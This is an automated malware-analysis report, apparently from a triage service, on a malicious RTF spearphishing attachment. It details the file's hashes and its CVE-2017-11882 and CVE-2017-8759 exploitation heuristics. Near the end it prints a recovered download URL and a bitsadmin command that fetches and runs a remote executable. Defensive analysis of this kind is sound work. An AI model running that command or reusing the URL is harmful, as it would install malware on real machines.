RTF malware analysis — malicious · 38c92d08d5d73925

MALICIOUS

RTF

434.4 KB Created: 2018-05-27 22:42:00 First seen: 2019-05-10

MD5: 6a41f665b554f26085278f12f97beab9 SHA-1: 116b951ae9e3d6f1b64d7c2de15048dded3c0d8b SHA-256: 38c92d08d5d7392519a96330d2a663f2817d214cb421f14640c8f4a810e48e11

262 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE objects and triggers critical heuristics for CVE-2017-11882 and CVE-2017-8759, indicating exploitation for client execution. The embedded artifact objdata_00_off00009e3f.bin was flagged for containing shellcode and command strings, and an associated URL was extracted. This suggests the file is a malicious attachment designed to exploit known vulnerabilities to download and execute a secondary payload.

Heuristics 7

CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759

RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://www.gorontula.com/wp-admin/includes/_output5FEB3E0.exe In RTF body
- http://schemas.microsoft.com/offiIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off00009e3f.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x9E3F	15672 bytes
SHA-256: `c48bdcdfcb98f74bb7ea2554641c79fc196e4a2e3a63a9840665afa81955915a`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): https://www.gorontula.com/wp-admin/includes/_output5FEB3E0.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer SI /priority foreground https://www.gorontula.com/wp-admin/includes/_output5FEB3E0.exe %TEMP%\A.exe && start %TEMP%\A.exe

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